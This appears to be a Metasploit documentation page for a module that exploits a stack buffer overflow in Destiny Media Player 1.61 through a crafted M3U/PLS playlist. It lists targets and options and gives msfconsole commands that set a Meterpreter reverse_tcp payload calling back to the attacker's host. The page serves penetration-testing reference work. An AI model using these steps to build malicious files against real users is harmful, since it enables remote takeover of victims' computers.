Metasploit Penetration Testing Framework

modules / exploit / windows / fileformat / destinymediaplayer16
OSVDB: CVE:
BID: MSB:
TEXT:

Destiny Media Player 1.61 PLS M3U Buffer Overflow

This module exploits a stack-based buffer overflow in the Destiny Media Player 1.61. An attacker must send the file to victim and the victim must open the file. File-->Open Playlist

Rank

  • Good

Authors

  • Trancek < trancek [at] yashira.org >

References

Exploit Targets

  • 0 - Destiny Universal (default)
  • 1 - Windows XP SP2 Spanish

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/destinymediaplayer16
msf exploit(destinymediaplayer16) > show payloads
msf exploit(destinymediaplayer16) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(destinymediaplayer16) > set LHOST [MY IP ADDRESS]
msf exploit(destinymediaplayer16) > exploit

Module Options

FILENAME The file name. (default: exploit_destiny.m3u)
OUTPUTPATH The location of the file. (default: /usr/lib/msf3/data/exploits)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session

Copyright © 2003-2010 Rapid7 LLC